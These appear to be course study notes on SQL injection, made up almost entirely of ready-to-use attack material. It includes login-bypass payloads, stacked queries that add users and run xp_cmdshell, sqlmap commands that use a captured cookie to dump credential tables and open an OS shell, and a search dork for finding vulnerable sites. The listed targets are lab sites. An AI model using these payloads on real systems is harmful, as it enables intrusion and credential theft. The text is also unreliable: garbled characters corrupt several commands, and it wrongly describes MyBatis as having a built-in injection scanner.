15 - SQL Injection
Last updated
Last updated
β or 1=1 --
for login bypass
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1β
βinsert into login values ('john','apple123'); --
create own user in the database
βcreate database mydatabase; --
create database with name of mydatabase
βexec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --
execute ping on moviescope
Open the vulnerable website
Copy the cookie from the inspect element
Open the terminal and run SQLMap
SQLMAP Extract DBS
sqlmap -u β
http://www.example.com/viewprofile.aspx?id=1β
--cookie="xookies xxx" --dbs
sqlmap -u β
http://www.example.com/viewprofile.aspx?id=1β
--cookie="xookies xxx" --data="id=1&Submit=Submit"--dbs
Extract Tables
sqlmap -u β
http://www.example.com/viewprofile.aspx?id=1β
--cookie="cookies xxx" -D moviescope --tables
Extract Columns
sqlmap -u β
http://www.example.com/viewprofile.aspx?id=1β
--cookie="cookies xxx" -D moviescope -T User_Login --columns
Dump Data
sqlmap -u β
http://www.example.com/viewprofile.aspx?id=1β
--cookie="cookies xxx" -D moviescope -T User_Login --dump
OS Shell to execute commands
sqlmap -u β
http://www.example.com/viewprofile.aspx?id=1β
--cookie="cookies xxx" --os-shell
Login bypass
blah' or 1=1 --
Insert data into DB from login
blah';insert into login values ('john','apple123');
Create database from login
blah';create database mydatabase;
Execute cmd from login
blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --
Login a website
Inspect element
Dev tools->Console: document.cookie
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" βdbs
-u: Specify the target URL
--cookie: Specify the HTTP cookie header value
--dbs: Enumerate DBMS databases
Get a list of databases
Select a database to extract its tables
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D moviescope βtables
-D: Specify the DBMS database to enumerate
--tables: Enumerate DBMS database tables
Get a list of tables
Select a column
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D moviescope βT User_Login --dump
Get table data of this column
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" --os-shell
Get the OS Shell
TASKLIST
Then, if we've SQL username and psw, we can use them to login and query db.
Havij: Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities.
jSQL Injection: jSQL Injection is a lightweight application used to find database information from a distant server.
BBQSQL: BBQSQL is a blind SQL injection framework written in Python.
NoSQLMap: NoSQLMap is an open-source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases.
SQLNinja: SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.
SQLiX: SQLiX is a SQL Injection scanner written in Perl.
SQLSentinel: SQLSentinel is an application-level firewall for MySQL that prevents SQL Injection attacks.
MyBatis: MyBatis is a Java persistence framework that includes a built-in SQL Injection scanner.
Blisqy: Blisqy is a tool to aid Web Security researchers to find Time-based Blind SQL injection on HTTP Headers and also exploitation of the same vulnerability.
site:http://testphp.vulnweb.com/ php?= (for finding vulnerable site)
(for cookies- console->document.cookie)
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs (databases)
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart βtables (tables)
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns (columns)
(dump whole table)
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --dump
OR
(dump individual column data)
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass --dump